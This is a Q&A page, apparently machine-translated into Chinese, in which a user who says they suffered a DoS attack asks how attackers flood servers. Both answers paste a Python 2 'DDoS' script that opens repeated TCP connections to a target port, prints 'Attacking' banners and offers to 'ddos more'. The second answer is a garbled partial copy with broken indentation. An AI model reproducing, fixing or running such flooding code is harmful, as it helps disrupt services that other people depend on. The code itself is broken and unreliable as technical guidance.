Python -向Internet协议发送请求

Question

嗯，我最近被DoS攻击了，我需要了解一些事情。

我知道，如果有人在HTTP服务器上发起攻击，他或她会发送HTTP请求，使连接不会超时，并使服务器正常工作。我的问题是，攻击互联网协议地址的DoS攻击者该怎么办？它们会发送哪种类型的数据包？我想看看它是如何在代码中完成的。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("target", 80)) #Hopefully port 80 is an open port
s.send("Some sort of packet that would request the server to do 'work'")

在这个问题之后，如果所有端口都关闭了，攻击者将如何攻击您？(防火墙)它们是否会改为UDP协议，并通过那里的s.send？因为对于一个好的DoS攻击来说，仅仅使用连接数据包(s.connect)是不够的。

我的问题是。DoS是如何很好地填充IP服务器上的连接的?为什么？如果我感到困惑，请告诉我为什么。

Answer 1

import time, socket, os, sys, string

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="127.0.0.1"
port=80
message="+---------------------------+"
conn=100
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

找到此代码的位置：Getting error when my python ddos script running

修复了一些错误..

Answer 2

print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, 80))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed]         |")
    print ( "|[DDoS Attack Engaged]       |")
    ddos.close()
for i in range(1, conn):
    dos()
 print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
     else:
        os.system(curdir+"Deqmain.py")

 HOPE THIS HELPS!